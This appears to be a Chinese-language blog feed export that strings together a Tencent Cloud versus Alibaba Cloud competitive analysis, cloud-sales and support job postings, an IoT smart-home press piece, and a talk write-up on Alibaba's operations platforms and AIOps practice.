        从技术的角度看,云的安全问题带来了对云平台及客户端安全防护、数据加密、监管接口等多方面的标准化需求。

        随着市场的扩大与业务的发展,云计算的标准化成为大势所趋。从长远来看,如果云计算要成为像电信、电力这样的公共服务行业,形成巨大的产业规模,实现标准化是众多厂商必然的选择。

        目前,云计算的标准化虽然成果寥寥,但总体上呈现出一种“自下而上”的趋势,即先从一些具体领域或细节性技术入手,逐步形成总体的标准框架。在这个标准体系中,云的外部特性与接口,包括互操作、业务迁移与安全将是标准化的重要方向。

        3. 小结

        云平台正处在快速发展期到成熟期过渡阶段,未来发展趋势为:以业务为核心的云基础设施,人工智能与云服务的结合,安全性能的提高,标准的统一。

        随着底层核心技术发展逐渐停滞,云平台市场在产品形式和服务内容上呈现出同质化,未来梯队划分将变得更加明显,头部产品存在无限可能,并将逐渐形成行业规范。

        目前中国企业云计算渗透率为5-7%,与国外一些国家相比还有很大差距。但得益于政策额红利和中国企业的数字化转型,市场潜力空间较大仍然很大。伴随云平台服务质量的提高,价格的下降,行业扶持政策落实,未来以云平台为基础的产品及应用将迎来迅速发展。

        二、竞品分析

        1. 竞品确定

        本次竞品分析选择腾讯云阿里云,原因如下:

        市场规模

        在2017年公有云市场中,阿里云的市场份额达到45.5%,腾讯达到10.3%,分别位于第一和第二。

        阿里和腾讯在云计算业务上,是布局最早的互联网公司。

        2018年1月,阿里巴巴公布2018财年第三季度财报数据,云计算是阿里增速最猛的业务,呈现三位数增长。2017年阿里云累计营收达到112亿人民币。同年8月,阿里财报显示:云计算付费用户数量已超过100万。

        腾讯云并未在财报中直接公布自己的营收情况,但根据自媒体《科技十点见》的推算,腾讯云的年营收预计将达到百亿元级别,这一目标最快将在两年左右实现。

        获客渠道

        阿里云和腾讯云也有浓厚的生态元素,比如:腾讯云的客户,有不少是腾讯投资过的公司,也有不少是腾讯泛娱乐生态的伙伴。

        阿里云最初是因为电商服务器资源有冗余,可以开放,最初的客户是淘宝卖家,他们为了能更好地与淘宝系统对接,将进销存系统率先上云。腾讯云出现,则是因为腾讯在3Q大战后痛定思痛,大力做开放平台。然而,发现许多开发者,“没有能力在短期内建立一个服务用户的平台,就做云来提供服务。

        技术实力

        云计算与人工智能、大数据、物联网甚至通信等技术都密不可分。要提供公共和综合云服务,就必须具备全面的技术能力。

        只有巨头才会同时在多项技术上布局,比如:阿里有首期投资1000亿元的达摩院做底层技术研发;百度在AI、自动驾驶上砸钱;腾讯也成立了各种实验室、研究院。

        他们在技术上的前瞻布局,最终会转化为云计算的能力或者产品。

        2. 市场定位

        右下图可知:腾讯云和阿里云业务上有高度重合的部分。

        在主要核心业务中,阿里云除了去年新上线的物联网以外,其余业务与腾讯云一致。

        两者的slogan有略微区别:腾讯云企图担任一个连接器,以数据和智能化的方式连接企业。阿里巴巴则充当一个赋能者的姿态,让云计算普惠各行各业。

        这个slogan的差异也源自主要用户群体的差异。此外,由于阿里云综合实力较强,平台的定位范围也较腾讯云大。

        两者的主要战略目标差距是:阿里云的目标更偏向国际化,并在人工智能和物联网方面打开新的垂直市场。

        由于生态的不同,腾讯云的主要使用用户是腾讯泛文娱领域与微信开放平台的合作者,而阿里云的主要用户则是阿里生态的中小电商。但是近两年,两者同时发力产业互联网,将泛互联网、政府及传统企业作为市场的扩展方向。其中阿里云还将物理网的云计算平台作为自身的战略重点。

        腾讯云vs阿里云

        图5.腾讯云与阿里云简单对比

        3. 用户分析

        地理区域扩张是腾讯云全球化布局的首要任务。此前腾讯董事长马化腾表示:2018年将继续扩充云基础设施,为客户提供优良服务。根据规划,2018年腾讯云将陆续上线多个区域和可用区,为更多企业和创业者提供集云计算、云数据、云运营于一体的全球云端服务体验。

        从腾讯云和阿里云的横向对比来看:目前腾讯云的优势已经开始显现。

        2018年3月15日,阿里云宣布其印度尼西亚大区正式开服运营,成为该国第一家在当地运营的国际公共云服务商。这也是阿里云在全球开放服务的第18个区域,此前阿里云已经在欧洲、北美、东南亚、中东等地建设了基础设施。

        腾讯云vs阿里云

        图6.阿里云、腾讯云和金山云基础设施建设情况对比(前瞻产业研究院,2018)

        从腾讯云官网的客户案例数量来看:游戏领域的服务或者企业占比最大,其次是金融、医疗、电商、视频,还有O2O、微信、旅游、移动应用、政务、在线教育。不过这些实例不一定与腾讯云客户数量组成吻合。

        相比腾讯云,阿里云官网的客户案例主要集中在电子商务,科技和教育领域,其次是媒体、旅游、制造业、零售等,另外在政府端,阿里云也获得了一定数量的客户。

        腾讯云vs阿里云

        图7.腾讯云主要细分领域客户数量及主要客户代表(前瞻产业研究院,2018)

        4. 使用场景

        云平台在人工智能领域提供的服务可以分为:AI框架服务、AI平台服务和AI应用服务。

        其中腾讯云和阿里云在框架和平台服务上差别较小,主要是应用场景上的区别。

        右下图可知:两者侧重的场景与其主要客户所在领域联系紧密。

        阿里云相比腾讯云,与政府和供应链上游联系更为密切。因此,阿里云的亮点也偏向供应链和政府端的解决方案。而腾讯的使用场景主要在取代人工客服和信息验证上,因此侧重在智能语音客服和人脸/图像识别上面。

        但是明显的趋势是:随着同质化加剧,双方在技术和数据端差距逐渐缩小。发掘新的应用场景也成为了未来云平台发展的重点突破口。

        腾讯云vs阿里云

        图8.腾讯云与阿里云主要使用场景对比

        5. 核心功能对比

        腾讯云vs阿里云

        腾讯云vs阿里云

        图9. 阿里云和腾讯云的功能对比(夫尼特大人,2018)

        阿里云:

        弹性计算是阿里云的核心产品,拥有包括:云服务器、专有网络、容器服务、弹性伸缩、负载均衡等9项业务,涵盖用户的每一种选择。

        但是,其在计算领域更加专注于底层的的计算能力和稳定性,尤其是近期推出的神龙技术架构,跟AWS的Nitro很类似——都是通过先进的虚拟化技术打破物理机和虚拟机的隔阂。虽然相比AWS,阿里云起步比较晚,但跟AWS这个标杆的距离在不断缩小,给 4.5 分。

        在数据库方面,阿里云拥有足够的诚意——满足用户的一切需求,不管是普通用户常用的三大SQL数据库(MsSQL、MySQL、PostgreSQL),还是流行的NoSQL(MongoDB、Redis、Memcache),都为用户提供了服务。

        帮助用户更好的使用这些能力同时,对于大数据需要的海量存储,阿里云也提供了对应的产品(PetaData、HBase 以及OceanBase)。值得一提的是自研的POLARDB,官方宣称性能是MySQL数据库的6倍,可惜在Oracle 数据库支持方面有所缺失,要从第三方绕一下,给 4 分。

        在存储方面,阿里云提供了对象存储、文件存储、归档存储、块存储和表格存储等多种存储模式,最新的ESSD的随机读写达到了恐怖的100万,给 4 分。

        在安全方面,阿里云以云盾为基础,发展出了数十款安全产品,涵盖了WAF、内容过滤、数据加密、DDoS 防护、数据风控等多项功能,阿里本身的安全能力就很出众,在云上同样有保障。给 4.5 分。

        在人工智能方面,阿里云以ET大脑为基础,发展了ET工业大脑、ET农业大脑、ET环境大脑、ET医疗大脑等数个AI解决方案,及50多个AI产品。在众多产品体系中,属于阿里云集中力量发展的项目,从落地情况来看,也是国内走在最前列的,给 4 分

        在CDN方面,阿里云官方给出的数字是 1500+ 全球节点,带宽储备超过120T。考虑到阿里云本身就是优酷、淘宝最大的CDN服务商,从实际效果来看,还是非常出色的,给 5 分。

        在域名服务上,阿里云做的是最好的,其域名业务源自收购的国内的最大的域名供应商万网。不仅提供了基础的域名注册的服务,还针对域名交易的人群,提供了域名交易、域名预定、域名转入等服务,域名管理方面做到了一家成熟企业的优秀标准,给5分。

        腾讯云:

        腾讯云在基础计算能力的提供上,投入不少精力,包括:标准的云服务器、GPU云服务器、FPGA 云服务器等;在弹性计算上,大量的投入研发和实践,帮助用户更好的使用云计算,给 4 分。

        在数据库方面,腾讯云提供了标准的SQL数据库和其特有的TDSQL,针对高速缓存场景的Redis 和Memcached、标准的NoSQL 数据MongoDB ,以及一些适合于大数据的数据库,如:HBase、分布式数据库DCDB。

        不过丰富的产品缺没有配套的应用,腾讯云没有针对用户提供数据迁移的服务,会导致用户在使用时的体验不佳。给 3 分。

        在存储方面,腾讯云的技术研发略显吃力。只提供了标准的对象存储和云硬盘服务,对于一些不同场景下的需求来说,还是显得不足,给3分。

        在安全方面,腾讯云依托大禹网络安全和天御业务安全防护,提供了不少场景化的安全服务。相比之下,腾讯云的产品更加倾向场景化为用户提供服务,给3.5分。

        在大数据方面,腾讯云发展出来了大数据基础服务、数据应用和AI三大体系,提供了丰富的技术产品,对于用户来说,也是可以更好的去借助云计算的资源来实现自己的需要,给 4 分

        在CDN方面,腾讯云依托腾讯本身的业务,提供了全球1000 多个加速节点,来帮助用户去提升用户体验。不过不知道出于什么原因,腾讯云的CDN 的每次变更,都会有较长的时间才能生效,给 4 分

        在域名方面,腾讯云只提供了基础的域名注册服务,只能算个及格。给3分。

        腾讯云vs阿里云

        图10.阿里云人工智能核心功能(来源阿里云官网)

        腾讯云vs阿里云

        图11.腾讯云人工智能领域主要功能(来源腾讯云官网)

        6. 小结

        从这些功能的对比来看:两款产品的主要功能相差不大。

        但是,由于产品定位的差异化,导致使用场景方面的不同。

        腾讯云比较看重社交、游戏过程中实时大量互动及及时答疑的需求,在功能上就体现为身份核验、语音/图像识别,智能机器人比较有特色;而阿里云注重商家端和政府端的应用,拥有大量的对应解决方案。

        经过对过去数年的战略调整,目前两者都将目标客户群体从自身生态圈客户,扩大到泛互联网,泛政府,以及需要数字化转型的传统企业。

        在地域方面,腾讯云试图在国内逐渐挑战阿里云的地位,而阿里云则期待以东南亚为突破口逐渐打开国际市场。由于腾讯云技术上和功能上与阿里云仍存在一定差距,未来市占率的挑战之路仍充满荆棘。

        ]]>
        米姆招聘-阿里云电话销售 Fri, 02 May 2025 09:39:04 +0800 1、开拓新市场,发展新客户,建立渠道,增加阿里云销售范围;
        2、管理维护客户关系以及客户间的长期合作计划;
        3、进行市场变化和对公司产品有合理化反馈。
        4、能够很好地计划和执行客户拜访计划,以达到最大的销售目标;

        职位要求:
        1、优秀的沟通能力,正直自律,自我驱动力强,高成长性;
        2、具有渠道、商务拓展相关岗位工作经验优先;
        3、互联网及云计算、销售行业相关工作经验优先;
        4、具有各行业高端渠道资源优先;
        5、具有良好的人际交往和沟通能力,有较强的团队精神,独立工作能力强 ;
        6、做事有激情、自信,认真负责,自律性强

        可以接受计算机相关专业应届毕业生



        简历提交请在主页--表单--简历提交处提交简历

        或邮件发送到sw@51mimu.com


        ]]>
        米姆招聘-阿里云技术支持工程师 Fri, 02 May 2025 09:39:04 +0800 1、阿里云售前交流,与阿里云客户沟通,了解客户需求,向客户介绍产品和方案,撰写上云方案和迁移方案;
        2、掌握阿里云的产品和方案,为客户提供在线的技术支持
        4、有效进行对内、对外项目状态汇总,上报;
        5、技术上门服务如:产品故障分析、检测及故障排除、现场快速处理检测维修等;
        6、项目文档的输出、整理、归纳及总结;
        7、完成上级领导交代的其他工作。

        职位要求:
        1、本科以上学历,通讯、电子、计算机相关专业毕业,1年以上工作经验,欢迎优秀应届毕业生或实习生投递;
        2、计算机网络基础扎实,熟练掌握OSI 7层模型、TCP/IP模型,熟练掌握Windows、Linux操作系统
        3、有阿里云、azure、AWS或其他云的运维或使用经验者优先,有相关云技术认证者优先
        4、对待工作认真负责,能够承受较强的工作压力、接受短期出差,具有吃苦耐劳的精神;
        5、具有良好的职业道德,较强的语言沟通能力,保密意识强,能够适应加班;
        6、有责任心、工作积极进取、有开拓能力、创新精神,拥有强烈的团队精神和合作精神。

        可以提供培训和学习平台


        简历提交请在主页--表单--简历提交处提交简历

        或邮件发送到sw@51mimu.com

        ]]>
        携手阿里云IoT 雅观科技打造全屋智能SaaS平台 Fri, 02 May 2025 09:39:04 +0800

        携手阿里云IoT 雅观科技打造全屋智能SaaS平台

        2019年1月15日,阿里云IoT携手地产头部企业,以及全屋智能行业的领先企业,在北京举办“2019阿里云IoT数字地产峰会”。在峰会上,阿里云宣布和中国联通物联网总公司共同打通联通物联网连接管理平台与阿里云IoT智能生活开放平台,同时联手推出一站式智能连接服务。

        雅观科技作为架构在阿里IoT的PaaS层领先企业,受邀参加活动。雅观科技产品副总裁王达峰在会上发表了《携手阿里云IoT 助力地产转型升级》的主题演讲。

        1000+场景池 提升人居体验

        雅观科技王达峰在现场演讲时,全面讲解了雅观全屋智能平台的建设情况。雅观全屋智能平台基于阿里PaaS层搭建了SI SaaS、物管 SaaS、设备SaaS等基础应用平台,可以根据家庭、社区、长租、养老、酒店、办公等多形态物业,提供满足不同需求的全屋智能解决方案,助力地产公司转型智能化。

        物联网IOT

        雅观全屋智能定位智能家居及智慧社区行业的安卓系统,利用AI+IoT能力,建设能够跨通讯协议、跨品牌,无限融合、互联互通的开放生态平台。在全屋智能系统中,雅观全屋智能预置了1000+个场景池,覆盖从舒适、安全等基础场景,到儿童关怀、老人护理等个性化垂直场景,提供千人千面的个性化服务。

        物联网IOT物联网IOT

        雅观全屋智能的场景可以随着用户的使用,不断进行空中升级;雅观也努力建设智能住宅和智慧社区的无缝打通,进行快递收发、停车管理、电梯调度、访客管理等全链路整合优化,提升人居体验;同时,雅观全屋智能也可以通过用户运营系统,结合社区与周边商业,帮助地产商成为用户生活方式、生活服务的运营商,这也是雅观此次在CES2019展上大吸眼球的Smart O2O技术。

        雅观SaaS平台成为典型案例

        活动下午,雅观科技联合创始人田陌晨受邀联合启动《2019中国智能家居发展白皮书——从智能单品到全屋智能》发布仪式。《2019中国智能家居发展白皮书——从智能单品到全屋智能》正式发布。白皮书由鸿雁电器牵头,阿里云IoT事业部、中国智能家居产业联盟CSHIA等携手全屋智能产业链上下游企业联合编制,对全屋智能生态现状和未来发展进行深入的分析与展望。

        中国智能家居产业联盟执行秘书长(CSHIA)王胜阳在现场对白皮书进行解读。他提到,智能家居行业在变革中快速发展,新流量入口被行业巨头全面布局,市场规模化应用的智能场景快速落地。智能家居服务体系迎来模式创新,智能家居行业向全屋智能的升级与聚焦,为地产、装修公司、设备商、平台企业及集成服务商的转型升级带来新的机遇。

        作为全屋智能SaaS解决方案平台提供者,雅观科技成为白皮书典型案例。白皮书详细介绍了雅观的全链路SaaS服务及与阿里协同构造的物联网空间生态。雅观科技智能家居SaaS平台通过阿里IoT设备接口,实现设备的快速生态融合;基于阿里设备生态的泛数据入口获取全链条数据,包括从安装SI到用户使用行为;基于充分的数据来源建立创新型业务,提升产业链效率。

        雅观全屋智能基于阿里云IoT事业部的SDS框架进行智能家居开发,是阿里云架构落地的排头兵。雅观全屋智能把制造商由原来的硬件销售升级为“硬件+服务”模式,通过助力地产公司转型智能化,提升B端管理效率、促进C端住房销售、催化地产商业增值。

        截止目前,凭借独特的行业定位和超强的技术能力、市场能力,雅观已完成了60余个智慧社区与全屋智能项目的打造,已经对接了近百家设备企业,接入了1000+SKU,和包括万科、富力等众多科技地产商企业达成了合作,受到行业伙伴的高度认可。

        ]]>
        阿里巴巴智能化运维体系演进与建设 Fri, 02 May 2025 09:39:04 +0800

        阿里巴巴智能化运维体系演进与建设


        引言:DevOps 的概念提出接近10年了,提升协作效率,降低开发成本,更稳健可持续的业务运营是DevOps的主旋律。根据2016年DevOps调查报告显示,一个低效的IT组织跟一个高效的IT组织相比,差距可能是200倍,换句话说低效组织发布一个功能,高效组织可能已经发布了200个功能;故障恢复的效率差距可能是几十倍,低效组织花费几个小时恢复的故障,高效组织可能几分钟就搞定了。

        在日益激烈的商业竞争环境下,这么低效的IT组织注定在商业上也是要失败的。因为现在是快鱼吃慢鱼的时代。去年Gartner又提出了AIOps的概念,就是用基于算法来提升运维效率,国内很多公司在各个运维的场景都有了不同程度的应用。

        阿里巴巴对DevOps和AIOps有自己的理解和实践,外界也比较关注拥有众多业务的庞大组织,是如何开展DevOps的? 带着这些问题,阿里集团基础架构事业群运维中台负责人如柏,在2017杭州云栖大会云效《企业高效研发实践专场》上,详细介绍了阿里运维体系的演进和在智能化运维方面的工作,希望能给大家带来一些启发和借鉴。

        嘉宾简介
        毛茂德(花名:如柏):阿里集团基础架构事业群运维中台负责人。主要负责云效2.0智能运维平台建设、IDC 建设、网络建设、基础数据库运维、大数据运维,研发协同等事项,并主导设计构建高可靠、高并发、大规模的基础运维平台和应用运维平台。十余年来坚持不懈的追求研发、测试、运维效率提升,推动DevOps实施落地。现在正致力于打造基于混合云的应用运维无人值守解决方案,以及自动化、数据化、智能化应用运维解决方案。

        阿里巴巴智能化运维体系演进与建设

        阿里巴巴是怎么看运维的?
        阿里大致也是经历了这么几个阶段:从最开始的人肉运维, 到简单的工具、自动化, 到系统化和平台的过程, 自动化到一定程度后,开始探索智能化,无人化运维这些领域, 并在阿里的多个运维系统里有所沉淀。
        在这个演进过程中,我们始终秉承一种原则, 能用机器去做的就不要让人去做,自动化一切可以自动化的。很多简单重复的日常运维操作,开始由研发通过运维平台来完成。

        阿里巴巴智能化运维体系演进与建设
        阿里巴巴运维能力分层图

        上图是阿里对运维领域的大致分层。每个层都会有不同平台/系统来承载,运维团队整体上会帮助业务团队搞定资源,实现高可用的架构,资源成本优化等问题。有了资源,业务就可以部署代码,对外提供服务, 代码上线后会有各种运行时的变更操作, 当然也会有横向的运维操作, 比如操作系统更新,网络升级,DNS,IP等等变更操作。监控也是分层的,横向的有服务器的监控,网络监控, IDC监控, 纵向来看, 有面向业务的监控,确保系统的各种异常能被检测到,并及时提供多种途径的报警。当业务真的发生故障时,我们也有系统需要能及时的恢复故障,定位故障,甚至能故障自愈,故障预测等。
        针对双11这样的大型活动,我们会做大规模全链路的压测模拟,来发现各种系统异常,为大促做好充分准备。我们也有定期的故障演练系统,来不断提升故障恢复速度。横向,纵向之外,我们还有规模化的运维,这个在大促和业务快速扩张时非常有用。
        运维是很大的一个概念,里面有很多专业,这5个能力层次每一层就有很多产品组成。从云效2.0-智能化运维平台(以下简称:StarOps)产品的角度来看, 我们可以划分为两个平台,基础运维平台和应用运维平台。基础运维平台是统一的,在阿里有且只有一个,内部叫StarAgent。但是应用类型比较多,每个业务都有特殊性,所以允许除了通用的“应用运维平台”外,有多个面向业务的特色的“应用运维平台”,但也都是构建在通用的“应用运维平台”之上,内部叫Normandy。

        阿里巴巴智能化运维体系演进与建设

        StarOps当然不会包含所有的运维能力。但对于互联网企业或者传统企业+互联网的场景,大部分公司需要的是运维能力,StarOps会全部包含,主要集中在基础运维能力(服务器管理)到应用运维能力(PaaS平台)上。而且可以根据用户自身的需求来自定义选择。两个平台本身也具备扩展能力,可以根据我们的SDK来扩展企业自身的业务特色。
        除了运维平台本身外,还包含软性的一些运维规范,故障治理的原则等。另外,我们在智能化运维方面已经有了实践, 通过算法平台融入到了两个平台的能力上。在界面上,我们提供Web, API,命令行工具,手机客户端,甚至提供大屏产品。

        基础运维平台
        基础运维平台可以说是IT运维的基础设施, 阿里非常重视运维基础设施的建设,这个系统是对众多运维系统共性部分的抽象,对上层的运维业务建设至关重要。 在前面提到的5个运维能力层次中的所有系统都要依赖他, 所以重要性也尤其突出。基础运维平台主要功能是服务器访问的通道(命令通道、文件通道、数据通道),职责是维护企业所有服务器访问的安全,这里的服务器包括物理机、虚拟机和容器。

        StarOps产品里主要包含有三大系统:1.堡垒机 2.StarAgent 3. 蜻蜓

        堡垒机
        阿里巴巴智能化运维体系演进与建设
        阿里巴巴堡垒机

        堡垒机,也可以叫跳板机, 是服务器访问的一道屏障。阿里的堡垒机是全球部署的,具备统一的账号/权限/密钥等管理,访问控制,高危拦截,操作录屏等功能, 最高可以承载5000人同时在线, 并通过了ISO27001等认证。

        StarAgent
        StarOps套件中的基础运维平台,就是在阿里巴巴运维多年实践上沉淀的结果。这个产品的名字叫StarAgnet,它可以当之无愧的说是阿里巴巴IT运维的基础设施。
        从1万服务器发展到10万台,又逐步达到百万级服务器,基础设施重要性并不是一开始就被意识到的,是逐渐被发现的过程。无论是运维系统稳定性、性能、容量显然已经无法满足服务器数量和业务的快速增长。在2015年我们做了架构升级,StarAgent日均的访问量从1000万提升到了1亿多,系统稳定性从90%提升到了99.995%。
        稳定性另外体现在高可用上,我们内部有定期的断网演练,任何一个机房网络断掉,自身服务终止影响面都控制在一定范围,都不会对整体的稳定性产生影响, 只要网络、服务恢复,受影响的集群就自动恢复。这种演练在内部是常态进行的,保证我们每个版本的代码都保持健壮。
        StarAgent 是安全的,我们有非常多的安全策略,比如命令执行的范围控制,账号控制,白名单、黑名单控制,高危命令审计/拦截,全链路加密签名等,在阿里内部安全部有定期的攻防演练,StarAgent无疑就是演练重点。
        在阿里内部如果说运维效率比较高,原因之一就是我们的StarAgent基本上统一了运维的通道,任何BU任何系统都不会擅自也不允许去建设自己的通道,统一的好处就是可以统一监管,同时也减少了不必要的重复建设。每个业务运维系统只要建设自己的业务即可。
        刚才提到了基础设施影响面比较大,所以在建设的时候必须有预见性,在性能方面我也对未来5年服务器和业务的增长作出了预估,使我们的这次架构升级至少5年内不需要再次重构, 我们可以在此架构之上构建更多的业务,不会让稳定性和性能羁绊运维业务的发展。目前StarAgent可以满足每分钟55万次调用,几乎对外部系统没有强依赖,数据库、缓存即使失败也不会对系统造成非常重大的影响。
        StarAgent的架构是灵活的,新的架构是基于插件的模式,插件可以是静态的(脚本、命令),也可以是动态的(后台服务),Agent Core 会保证这些插件执行的安全,同时又保证在一定的资源消耗之内, 否则就会杀掉(重启)这个插件进程,插件的开发者当然会收到消息。插件的使用者可以决定在自己的机器上(业务范围内)运行哪些插件,或者停用哪些插件,以及插件需要的版本,默认情况下插件的版本会自动更新。默认的插件当然是平台来维护的, 目前在阿里内部我们已经有了150多个插件,其中包括监控、日志服务、调度、文件分发等。每个插件都可以看作是一个运维系统,而StarAgent的职责就是守护这些运维系统的执行,保证全集团服务器和业务的安全运行。
        插件的模式同时也简化了Agent本身的运维,Agent Core 是没有任何业务属性的, 职责清晰简单,只做插件的维护和必要的自运维, 所以在版本稳定后,基本上不需要太频繁的更新, 这也符合装机镜像3个月更新一次的频率。
        对于一个运维百万级服务器的基础平台,本身的运维负担也是比较重的,以前至少需要3个专职的运维,尤其是阿里的网络、服务器环境比较复杂,每天答疑工作也不少。但很多工作其实可以总结出规律,提炼抽象,让机器去做, 所以目前新版的StarAgent自运维能力已经达到95%,不再需要专职的运维了。
        其他功能诸如Web终端,分布式定时任务等,在云效使用手册里可以找到。不再赘述。

        手册查看:云效微信号菜单栏-云效产品-使用指南

        蜻蜓
        蜻蜓是基于P2P的文件分发系统,不管是什么类型的业务运维都需要文件分发,所以也是基础设施之一。它的好处是保护数据源,加速分发速度,节约跨IDC和跨国的带宽。
        下图是一个500MB文件分发的对比测试,X轴是客户端数量,Y轴是分发时长,可以看出传统的文件分发系统随着客户端数量的增加,时长就会增加,而且到1200客户端后就没有数据了, 因为数据源已经被打爆, 在该测试中蜻蜓可以完美的支持到7000客户端,分发时长基本保持在10秒左右。

        阿里巴巴智能化运维体系演进与建设

        在阿里内部,典型的应用场景包括:软件安装包、配置文件、数据文件、静态文件、镜像等。镜像包括了物理机镜像、虚拟机镜像、容器镜像。对于容器可以支持Docker,Pouch(阿里自研的容器技术),Hyper等。架构上非常灵活,没有侵入性,不需要对容器技术做任何改造。
        高级的功能特性还包括断点续传、智能网络流控、智能磁盘流控、动态压缩、镜像预热等。
          
        在阿里内部这个系统的业务覆盖率在95%以上,月均分发量达到了15亿次,容量达到3000TB以上。蜻蜓同时也是双11背后的支撑技术,在双11前,需要完成15GB的数据文件分发到超过1万台服务器上。

        应用运维平台
        StarOps套件中另一个是应用运维平台,是架构在基础平台之上的混合云PaaS平台,在内部我们叫Normandy。
        应用运维平台总体上来说是有三大组成部分: 资源管理、发布部署、日常运维。
        一个应用要正常运行,需要资源,资源不仅仅是服务器(物理机、虚拟机、容器), 还包括网络(VIP、SLB、DNS等),存储,数据库,中间件等,凡是一个应用正常运行需要的所有的物理资源和服务资源都包括。

        阿里巴巴智能化运维体系演进与建设

        Normandy是通过资源编排实现资源的provision(生产)的,通常也被叫做Infrastructure as Code。通过代码的形式将一个应用需要的所有的物理资源和服务资源,以及他们之间的关系都编写在一段类JSON的代码里, 并保存在CMDB中,而且是版本化的, 也就是说资源的任何一次变更改动都会被记录在案。 这也就形成了用户(通常就是应用的研发)对应用部署的基础架构(infrastrucure)的基本需求或者定义。
        Normandy对于资源的需求和资源实际情况(通常称为资源实例Instance)会做对比(difference),如果资源实例和资源的用户的定义不同,则会触发资源的生产(provision)直到资源的需求被满足。这也可以被称为自动化的资源生产,也可以被称为资源管理的自愈。如果仅仅就服务器来说,它的功能和Kubernates的ReplicaController是一致的。
        既然是混合云PaaS平台当然是支持企业内部IDC的同时也支持阿里云,所以应用可以是部署在自有IDC也可以部署在阿里云,也可以一部分在自有IDC,一部分在阿里云上。
        混合的模式适合那种初步尝试公有云的企业, 也适合那种在个别时间段(比如大促场景,或者压力测试)下需要额外资源的企业,需要的时候在公有云上“弹”(scale out),用完了再缩回来(scale in)。

        阿里巴巴智能化运维体系演进与建设
        阿里巴巴监控智能基线视图

        发布(Release)和部署(Deploy)其实是两个不太一样的概念, 发布是用户可见的,部署则未必。Normandy当然可以同时满足客户两种不同的选择。默认情况下部署就等同于发布,当然用户可以自己定制部署而不发布应用(这种需求比较小众)。
        Normandy支持的发布模式比较多样,发布策略也很多,这跟阿里内部需求的多样性有关。同时也支持容器发布和非容器的发布(我们叫基线模式)。此外,还支持动态配置或者开关类型的发布(需要中间件支持)。在能力上则支持2万台服务器同时发布,日均可以支持50万次发布。
        在发布上我们有运维算法平台的支持,可以做到“无人值守”发布, 所谓的“无人值守”发布意味着用户不再需要盯着发布了, 发布系统如果发现系统有故障就会自动停止发布并通知用户, 如果一切正常则自动发布完成,无需人的干预。
        运维越来越需要得到算法平台的帮助,将人的经验“沉淀”到系统里,不断的累积和完善数据,并依靠算法的帮助来提高运维系统的自动化程度,让人少犯错,尤其是低级的错误。而发布部署是很多故障造成的根源,这种故障给很多企业造成了巨大损失。如果能在这个地方堵住故障,将极大地提升企业运维稳定性。

        监控
        StarOps套件还提供了不同维度的监控系统,我们有基础监控(IDC层面)、系统监控和业务监控,可以分别部署。监控系统我们也在做智能化运维探索,比如智能基线,可以让我们彻底结束一个业务监控数十个监控配置的困扰,可以预测下一个时间点的业务走向,监控配置只要根据这个“智能基线”来配置阈值即可。同时我们的监控系统还具备智能故障定位的功能。
        历经阿里纷繁复杂的业务和双11的各种考验,监控除了丰富的功能和稳定健壮的内核,还提供了非常炫目的视觉产品,除了传统的PC屏外,我们还有大屏产品可以独立部署。

        阿里巴巴智能化运维体系演进与建设
        阿里巴巴智能化运维大屏

        除了前面提到的基础运维平台、应用运维平台、监控、算法平台外, StarOps套件还包括了诸如掌上运维(支持IOS, Android),ChatOps等功能。            

        智能运维 AIOps
        简单的讲运维本质是帮助业务持续稳定的运行所要做的所有维护性的工作。 在保持业务稳定性的基础上能降低运维成本,提升运维效率,是运维系统的核心本质。
        智能运维(AIOps)是需要融入在平台方方面面的。智能运维是从手工运维到自动化运维一步步走过来的一个自然的结果, 需要场景、数据和算法。
        我个人对智能运维的理解是:利用运维算法实现运维的自动化,最终走向无人化运维。所以Gartner对AIOps的解释是Algorithm IT Operations,并不是一开始以为的人工智能(Artificial Intelligence)运维。
        我个人认为AIOps可以在两方面来帮助运维:
        一、稳定性:运维的本质就是维护系统的稳定性,如何能让系统平稳的运行,变更更加稳定,故障全面治理是首要考量的,所以稳定性方面的智能运维技术演进大致是:
        异常检测(Reactive)-> 根因分析(Root Cause Analysis)->根源定位(real time) -> 故障自愈(auto-healing)-> 故障预测(proactive)
        无人值守发布中应用的是异常检测的算法,而智能故障定位需要用到的就是后两种技术。
        二、效率:在稳定的基础上我们希望能看到极致的运维的效率,极低的运维成本。
        智能参数调整系统优化
        智能调度、扩容、限流、降级…
        智能运维的场景很多,在运维的每层都有用武之地。每个点的微创新的累积最终会给智能运维带来颠覆性的变化。真正实现这种专家经验和”拍脑袋“运维模式转变为基于算法和人工智能的自动化运维,最终走向无人化运维。
        “无人化”当然短期内只是一个“自动化程度非常高的”的代名词,在可以看到的未来,“无人化”还是由人来干预或者参与的,尤其是故障处理。
        其实自动化被叫做“自働化”更为合理, 人和机器更多是职能上的区别,需要优势互补,人不再做具体的操作了,由机器替代,但人依然是运维的灵魂,是运维的制定者和修改者,机器只是执行者,机器只是帮助人或者提醒人来完成运维操作。

        阿里巴巴智能化运维体系演进与建设
        阿里巴巴智能化运维能力体系

        总结

        运维对企业很重要,可以说是核心竞争力,不能让运维拖了业务的后腿。
        • 基础运维平台是运维体系建设的基础设施, 是运维成败的关键。
        • 稳定是运维的本质, 在稳定性的基础上追求极致的运维效率和极低的运维成本。
        • 智能运维不能一蹴而就,必须按部就班,重在场景和数据的建设。


        阿里巴巴智能化运维体系演进与建设
        云效2.0 智能化运维产品体系
        很多公司业务发展的非常好,但就是运维做的不好,导致业务非常不稳定,三天两头出故障,一出故障半天才能恢复,一做发布变更就交易跌0造成资损。如果长期这样,再好的业务也会做黄。这种例子我们看到的比较多。
        随着阿里巴巴越来越重视技术,也越来越开放,运维的几个产品会逐步开源,同时也会有商业化的产品孵化,比如最近在做的云效2.0-智能化运维产品StarOps,我们希望阿里在运维领域多年来沉淀的经验、走过的弯路,能给大家带来些启发,也希望StarOps产品能真正为企业的业务保驾护航。

        ]]>
        阿里巴巴运维中台的演进与建设 Fri, 02 May 2025 09:39:04 +0800 阿里巴巴运维中台的演进与建设




        作者简介:

        中台运维

        毛茂德

        阿里巴巴 基础架构事业群运维中台负责人

        花名如柏,现任阿里巴巴集团基础架构事业群-运维中台负责人, 主导架构设计高可靠、高并发、大规模的基础运维平台和应用运维平台, 致力于打造行业级的基础运维无人值守解决方案以及数据化、智能化运维解决方案,推动 DevOps 生态。

        前言

        本文来自于 GOPS 2017 深圳站的演讲“阿里巴巴运维中台的演进与建设”。

        我所在的部门是阿里基础架构事业群,负责阿里巴巴的 IDC 建设、网络建设、基础数据库的运维,大数据运维,研发协同,应用运维等等都在我们这个部门里面。

